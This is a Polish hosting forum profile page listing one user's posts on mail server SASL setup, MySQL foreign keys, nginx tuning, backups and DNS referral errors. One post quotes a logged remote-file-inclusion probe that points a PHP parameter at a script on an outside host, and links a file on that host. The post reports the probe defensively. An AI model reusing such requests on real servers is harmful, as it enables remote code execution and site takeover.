Skocz do zawartości

rack

Użytkownicy
  • Zawartość

    19
  • Rejestracja

  • Ostatnio

Wszystko napisane przez rack

  1. strona dla wypożyczalni

    Ta strona to sa moze 2 - 3 tabele w bazie danych. Ja bym sobie raczej nie zawracał głowy wordpresem. Najprostsze co przychodzi mi do głowy w tej chwili to CodeIgniter. Popatrz sobie na to. Ma dobrą dokumentację i jest robiony dla osób ktore są początkujące w tym biznesie. Pozdrawiam S.Wojnowski
  2. Jak nadmieniłem w temacie, mam pewien problem z kofiguracją sasla przez dovecota dla postfixa na Ubuntu 8.10. Dałem sobie na chwilę spokój z saslem cyrusa bo postfix 2.5+ z repo ubuntu wspiera autoryzacje przez sasl dovecota. postconf -a rzeczywiście to potwierdza. Postfix bez autoryzacji działa poprawnie, gdy jednak dołączę poniższe linijki do main.cf: smtpd_sasl_type = dovecot smtpd_sasl_path = private/auth smtpd_sasl_auth_enable = yes smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated, reject_unauth_destination do /var/log/mail.log dopisywanie jest coś takiego podczas próby połączenia z postfixem przez telnet Jun 1 23:31:17 udev1 postfix/smtpd[2380]: warning: SASL: Connect to private/auth failed: No such file or directory Jun 1 23:31:17 udev1 postfix/smtpd[2380]: fatal: no SASL authentication mechanisms Jun 1 23:31:18 udev1 postfix/master[5062]: warning: process /usr/lib/postfix/smtpd pid 2380 exit status 1 Jun 1 23:31:18 udev1 postfix/master[5062]: warning: /usr/lib/postfix/smtpd: bad command startup -- throttling Fragment dovecot.conf dotyczący autoryzacji: auth default { mechanisms = plain login client { path = /var/spool/postfix/private/auth mode = 0660 user = postfix group = postfix } } Protookoły są ustawione na: = imap imaps pop3 pop3s Dovecot testowany niezależnie od postfixa działa bez zarzutu. Postfix na ubuntu, tak jak na debianie jest jailed w /var/spool/postfix, posiada katalog private, a dovecot wg tego co w konfigu powyżej powinien mieć wystarczające uprawnienia do utworzenia gniazda w /var/spool/postfix/prvate/. Jeżeli ktoś ma jakiś pomysł jak skonfigurować sasl w tym przypadku, prosiłbym o podpowiedź. Z góry dziękuję pozdrawiam
  3. Póki co skłaniam się do zostawienia tego boxa bez wheela i z uprawnieniami 750 postfix:root dla /var/spool/postfix/private/, chyba, że istnieją jakieś przesłanki ku temu aby jednak odebrać całkowicie uprawnienia grupie. Dzięki za pomoc pozdrawiam
  4. hi hi , pewnie że ma ... W dovecocie uprawnienia są ustawione na postfixa, w /var/spool/ postifix właścicielem katalogów, w tym równiez "private" jest także postfix ... Zmieniłem uprawnienia private/ na 777 na potrzeby testów i zaczęło działać, gniazdo pojawiło się tam gdzie powinno ... W pierwotnej konfiguracji było to 700 postfix:root i jak wyżej napisałem, nie działało. Zmieniłem uprawnieni private/ na 755 postfix:root i jest ok, podobnie jak z 750 postfix:root. Pytanie więc jest jakie powinny być optymalne uprawnienia dla katalogu private/ ? Dzięki za info pozdrawiam
  5. Kod wygląda tak: CREATE TABLE `virtual_aliases` ( id int(11) NOT NULL AUTO_INCREMENT PRIMARY KEY, domain_id INT(11) NOT NULL, source VARCHAR(40) NOT NULL, destination VARCHAR(80) NOT NULL, FOREIGN KEY (domain_id) REFERENCES virtual_domains(id) ON DELETE CASCADE ) ENGINE = InnoDB; Error natomiast tak: ERROR 1005 (HY000): Can't create table './test_pxconfig/virtual_aliases.frm' (errno: 150) Mysql 5.1 odpalony na ubuntu jaunty prosto z repo( w 5.0 błąd jest identyczny). Tabelę tego typu da radę stworzyć ale bez wpisu dla obcego klucza, co w sumie nic mi nie daje ... Ma ktoś może jakiś pomysł co zrobić aby uniknąć wyżej nadminionego błędu... Dzięki z góry
  6. Adrian, dzięki za odpowiedź. Sprawdziłem to sobie na posgresie od początku do końca i okazało się, że w jednej z tabel zamiast podkreślnika wstawiłem spację. Po ponownym stworzeniu tabel wszystko działa jak załołyłem. pozdrawiam
  7. Pytanie dotyczy poniższej linijki, a pytanie brzmi: Jaki jest cel uzycia komendy strip w tym wypadku? strip /usr/local/bin/php-cgi pozdrawiam
  8. po co usuwać symbole z plików

    Możesz nieco rozwinąć Twoją wypowiedź? O jakie przypadki konkretnie tu chodzi. Właśnie włączyłem to do mojego konfiga dla fcgi z php-mfp na nginxie z acp i passengerem pod app w merbie. W najbliższych dniach mam to zamiar spróbować przetestować i zobaczyć jak będzie działać w kontekście passengera i następnie mongreli z i bez symboli ... pewnie nie znajdę żadnej róznicy, ale ... hi hi ))
  9. wydaje mi się ze taka rzecz pownna mieć swoją tabelę w bazie danych, SMF ma około 40 tabel więc jedna w tą czy tamtą nie zrobi różnicy . Całe szukanie powinno odbyć się w zanim cokolwiek wstawisz w html. Dzięki temu unikniesz mieszania warstwy prezentacji z logiką aplikacji. Nie wiem czy warto angażować w to regexp, skoro można to odfiltrować na poziomie bazy danych lub w najgorszym wypadku z pomoca jednej czy dwóch metod w php. pozdrawiam
  10. Optymalizacja serwera

    http://interfacelab.com/nginx-php-fpm-apc-awesome/ popatrz na to i sam zdecyduj ]http://interfacelab.com/nginx-php-fpm-apc-awesome/ popatrz na to i sam zdecyduj
  11. Optymalizacja serwera

    Może spróbuj z nginxem ... jego procesy są mniejsze od tych apache'a. Jeżeli nie chcesz zmieniać apache na coś lepszego to po prostu skompiluj go sobie od zera ... konfigurując go tylko z tymi modułami, których użycie 10 x przemyślałeś ... Na jakim serwerze uruchamiasz aplikacje, może zamiast mpm prefork lepszy będzie worer ... apache może mieć tak małe procesy jak nginx ale do tego konieczna jest wywalenie niektórych modułów (zależy od potrzeb oczywiście). Ja generalnie jestem wielkim fanem nginxa i z czystym sercem własnie serwer mogę polecić ... Jest wiele porównać ... popatrz na przykład na to ... Nginx nadaje się lepiej na słabsze maszyny, z mniejszą ilością ramu ... stąd taka jego popularność w konteksicie Ror czy merba
  12. Jak w temacie ... 80.93.62.114 - - [10/May/2009:05:59:44 +0200] "GET ///?_SERVER[DOCUMENT_ROOT]=http://www.ionthenet.co.kr/note_log/ec.txt? HTTP/1.1" 200 17547 "-" "libwww-perl/5.805" Jak widać request zrobiony z pomocą libwww -- co jak wiadomo często nic dobrego ze sobą nie niesie ... Mam póki co tylko jeden taki wpis w logach, mimo to skłaniam się do tego aby nie czekać na więcej ... Przejrzałem sobie pare plików na serwerze tego gościa i znalazłem między innymi coś takiego )) http://www.ionthenet.co.kr/note_log/apache.php Pozdrawiam
  13. śmiech na sali - to nie firma

    Po pierwsze, nie licz na kogokolwiek oprócz siebie ... Po drugie nie wyobrażam sobie tworzenia czegokolwiek bez systemu kontroli wersji dla strony i systemu ciągłej integracji, w tych czasach to podstawa. Po trzecie nic nie jest wieczne, to że serwis działa nie znaczy, że tak będzie zawsze ... jak masz okazję wykonać backup bazy danych to zrób to !!! Nie czekaj aż coś się spier .... bo to, że tak się stanie jest niemal tak pewne jak śmierć i podatki ... Po czwarte, zautomatyzuj backupy ... jeżeli tego nie robisz to pretensje możesz mieć tylko i wyłącznie do siebie ...Od firmy dostajesz konto ... to nie jest kołyska, nikt cię za rękę trzymał nie będzie ... i wreszcie po piąte ...to co nas nie zabije to nas wzmocni ... a jeżeli nie wzmocni to na pewno czegoś nauczy )) pozdrawiam
  14. Witam, Mam pytanie, jak temat wskazuje, dotyczące statusu domeny ADDPERIOD. Jest to globalna domena org, moje pytanie dotyczy tego czy taki status, z tego co mi wiadomo utrzymywany przez 5 dni(???) ma jakiś wpływ na użyteczność takiej domeny? Kiedy ów domena będzię w pełni funkcjonalna? Dziękuję za odpowiedź i pozdrawiam rack
  15. Konto www +ssh

    Witam, Poszukuję konta www z dostępem do ssh w cenie 100 - 150 zł / rok u sprawdzonego usługodawcy. Pozostałe parametry nie są aż tak istotne na tym etapie. Co jesteście w stanie polecić?
  16. Konto www +ssh

    Dzięki za info.Unixstorm już znam, jest ok. Resztę obejrzę opcji sprawdzę w najbliższych dniach. pozdrawiam
  17. Witam, Mam pewien problem z moja domeną i poprawnym podpięciem dnsów ... Nazwa domeny: rubyhelp.org DNSy NS1: ns1.unixstorm.org NS1 IP: 77.79.241.202 NS2: ns2.unixstorm.org NS2 IP: 78.159.102.130 Wpisy dla A w panelu DirectAdmin: rubyhelp.org. A 77.79.241.202 wpisy w panelu rejestranta domen: 1. rubyhelp.org ns1.unixstorm.org ns2.unixstorm.org Rezultat sprawdzenia DNSów na Squish.net: Results 4.3% of queries will end in failure at 199.19.56.1 (A0.ORG.AFILIAS-NST.INFO) - nameserver loop detected 2.9% of queries will end in failure at 199.249.112.1 (A2.ORG.AFILIAS-NST.INFO) - nameserver loop detected 50.9% of queries will end in failure at 89.149.199.238 (ns1.unixstorm.org) - nameserver loop detected 41.9% of queries will end in failure at 89.149.251.86 (ns2.unixstorm.org) - nameserver loop detected Dane z whois : http://whois.domaintools.com/rubyhelp.org ------- Domena została zarejestrowana tydzień temu, wciąż jednakże nie mam dostępu przez nią do mojej strony z poziomu przeglądarki. Za wszelkie uwagię z góry dziękuję pozdrawiam ----------------------- Update: Problem rozwiązany.
  18. Rozumiem, dzięki za info. pozdrawiam
  19. Jak długo może trwać update danych na tych serwerach? Czy serwery w tej hierarchii nadużywają cachę w większym stopniu niz inne? Wydaje mi się, że nie miałem dotychczas podobnych problemów z domenami com i pl.
  20. Hmm... Z tego co się orientuję sam w dnsach i tego co dostałem od admina z unixstorm, ustwienia dns są w porządku. Jednakże za każdym razem gdy sprawdzam całą ścieżkę do domeny w ostatnim jej etapie dostaję coś takiego: Referral ns1.unixstorm.org Asking ns1.unixstorm.org (89.149.199.238) for rubyhelp.org (type A) Error: ns1.unixstorm.org (89.149.199.238): Resolve for rubyhelp.org. (A) failed: query timed out Referral ns2.unixstorm.org Asking ns2.unixstorm.org (89.149.251.86) for rubyhelp.org (type A) Error: ns2.unixstorm.org (89.149.251.86): Resolve for rubyhelp.org. (A) failed: query timed out ---------------------------------- podsumowanie przekierowań całości zapytan o domenę wygląda tak: Referral A0.ORG.AFILIAS-NST.INFO Asking A0.ORG.AFILIAS-NST.INFO (199.19.56.1) for rubyhelp.org (type A) [see above for results] Referral A2.ORG.AFILIAS-NST.INFO Asking A2.ORG.AFILIAS-NST.INFO (199.249.112.1) for rubyhelp.org (type A) [see above for results] Referral B0.ORG.AFILIAS-NST.org Asking B0.ORG.AFILIAS-NST.org (199.19.54.1) for rubyhelp.org (type A) [see above for results] Referral B2.ORG.AFILIAS-NST.org Asking B2.ORG.AFILIAS-NST.org (199.249.120.1) for rubyhelp.org (type A) [see above for results] Referral C0.ORG.AFILIAS-NST.INFO Asking C0.ORG.AFILIAS-NST.INFO (199.19.53.1) for rubyhelp.org (type A) [see above for results] Referral D0.ORG.AFILIAS-NST.org Asking D0.ORG.AFILIAS-NST.org (199.19.57.1) for rubyhelp.org (type A) [see above for results] Response is: 50.0% 89.149.199.238 (ns1.unixstorm.org) with query timed out 50.0% 89.149.251.86 (ns2.unixstorm.org) with query timed out Wszystkie dnsy aż po unixstorm.org działają jak należy, tzn, jest zero strat co chodzi o zapytania Ostateczny rezultat jest taki: Results 50.0% of queries will end in failure at 89.149.199.238 (ns1.unixstorm.org) - query timed out 50.0% of queries will end in failure at 89.149.251.86 (ns2.unixstorm.org) - query timed out Wydruk z diga wygląda tak: ; <<>> DiG 9.4.2-P2 <<>> rubyhelp.org ;; global options: printcmd ;; connection timed out; no servers could be reached Wydruk z diga z opcją trace działa lepiej ale wciąż są błędy: ; <<>> DiG 9.4.2-P2 <<>> +trace rubyhelp.org ;; global options: printcmd . 30779 IN NS C.ROOT-SERVERS.NET. . 30779 IN NS D.ROOT-SERVERS.NET. . 30779 IN NS E.ROOT-SERVERS.NET. . 30779 IN NS F.ROOT-SERVERS.NET. . 30779 IN NS G.ROOT-SERVERS.NET. . 30779 IN NS H.ROOT-SERVERS.NET. . 30779 IN NS I.ROOT-SERVERS.NET. . 30779 IN NS J.ROOT-SERVERS.NET. . 30779 IN NS K.ROOT-SERVERS.NET. . 30779 IN NS L.ROOT-SERVERS.NET. . 30779 IN NS M.ROOT-SERVERS.NET. . 30779 IN NS A.ROOT-SERVERS.NET. . 30779 IN NS B.ROOT-SERVERS.NET. ;; Received 500 bytes from 213.199.225.10#53(213.199.225.10) in 7 ms rubyhelp.org. 86384 IN NS ns2.unixstorm.org. rubyhelp.org. 86384 IN NS ns1.unixstorm.org. ;; Received 76 bytes from 128.8.10.90#53(D.ROOT-SERVERS.NET) in 5 ms rubyhelp.org. 86384 IN NS ns1.unixstorm.org. rubyhelp.org. 86384 IN NS ns2.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 92 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 5 ms rubyhelp.org. 86384 IN NS ns2.unixstorm.org. rubyhelp.org. 86384 IN NS ns1.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 92 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 5 ms rubyhelp.org. 86384 IN NS ns1.unixstorm.org. rubyhelp.org. 86384 IN NS ns2.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 7 ms rubyhelp.org. 86384 IN NS ns2.unixstorm.org. rubyhelp.org. 86384 IN NS ns1.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 5 ms rubyhelp.org. 86384 IN NS ns1.unixstorm.org. rubyhelp.org. 86384 IN NS ns2.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 7 ms rubyhelp.org. 86384 IN NS ns2.unixstorm.org. rubyhelp.org. 86384 IN NS ns1.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 5 ms rubyhelp.org. 86384 IN NS ns1.unixstorm.org. rubyhelp.org. 86384 IN NS ns2.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 9 ms rubyhelp.org. 86384 IN NS ns2.unixstorm.org. rubyhelp.org. 86384 IN NS ns1.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 4 ms rubyhelp.org. 86384 IN NS ns1.unixstorm.org. rubyhelp.org. 86384 IN NS ns2.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 8 ms rubyhelp.org. 86384 IN NS ns2.unixstorm.org. rubyhelp.org. 86384 IN NS ns1.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 4 ms rubyhelp.org. 86384 IN NS ns1.unixstorm.org. rubyhelp.org. 86384 IN NS ns2.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 4 ms rubyhelp.org. 86384 IN NS ns2.unixstorm.org. rubyhelp.org. 86384 IN NS ns1.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 5 ms rubyhelp.org. 86384 IN NS ns1.unixstorm.org. rubyhelp.org. 86384 IN NS ns2.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms rubyhelp.org. 86384 IN NS ns2.unixstorm.org. rubyhelp.org. 86384 IN NS ns1.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 4 ms rubyhelp.org. 86384 IN NS ns1.unixstorm.org. rubyhelp.org. 86384 IN NS ns2.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 6 ms rubyhelp.org. 86384 IN NS ns2.unixstorm.org. rubyhelp.org. 86384 IN NS ns1.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 7 ms rubyhelp.org. 86384 IN NS ns1.unixstorm.org. rubyhelp.org. 86384 IN NS ns2.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms rubyhelp.org. 86384 IN NS ns2.unixstorm.org. rubyhelp.org. 86384 IN NS ns1.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms rubyhelp.org. 86384 IN NS ns1.unixstorm.org. rubyhelp.org. 86384 IN NS ns2.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms rubyhelp.org. 86384 IN NS ns2.unixstorm.org. rubyhelp.org. 86384 IN NS ns1.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 8 ms rubyhelp.org. 86384 IN NS ns1.unixstorm.org. rubyhelp.org. 86384 IN NS ns2.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms rubyhelp.org. 86384 IN NS ns2.unixstorm.org. rubyhelp.org. 86384 IN NS ns1.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 10 ms rubyhelp.org. 86384 IN NS ns1.unixstorm.org. rubyhelp.org. 86384 IN NS ns2.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 6 ms rubyhelp.org. 86384 IN NS ns1.unixstorm.org. rubyhelp.org. 86384 IN NS ns2.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 4 ms rubyhelp.org. 86384 IN NS ns2.unixstorm.org. rubyhelp.org. 86384 IN NS ns1.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms rubyhelp.org. 86384 IN NS ns1.unixstorm.org. rubyhelp.org. 86384 IN NS ns2.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms rubyhelp.org. 86384 IN NS ns2.unixstorm.org. rubyhelp.org. 86384 IN NS ns1.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 4 ms rubyhelp.org. 86384 IN NS ns1.unixstorm.org. rubyhelp.org. 86384 IN NS ns2.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 8 ms rubyhelp.org. 86384 IN NS ns2.unixstorm.org. rubyhelp.org. 86384 IN NS ns1.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 5 ms rubyhelp.org. 86384 IN NS ns1.unixstorm.org. rubyhelp.org. 86384 IN NS ns2.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL ;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 14 ms rubyhelp.org. 86383 IN NS ns2.unixstorm.org. rubyhelp.org. 86383 IN NS ns1.unixstorm.org. ;; BAD (HORIZONTAL) REFERRAL dig: too many lookups ----------------------- A najlepsze jest to, że moją stronę mogę sobie obejrzeć tylko po tym jak uruchomię dig +trace rubyhelp.org wcześniej. Wie ktoś jaka może być przyczyna wystąpienie błędu : ;; BAD (HORIZONTAL) REFERRAL ???? Pozdrawiam
  21. Problem jednak nie rozwiązany ... działało przez chwilę ... potem znów padło
×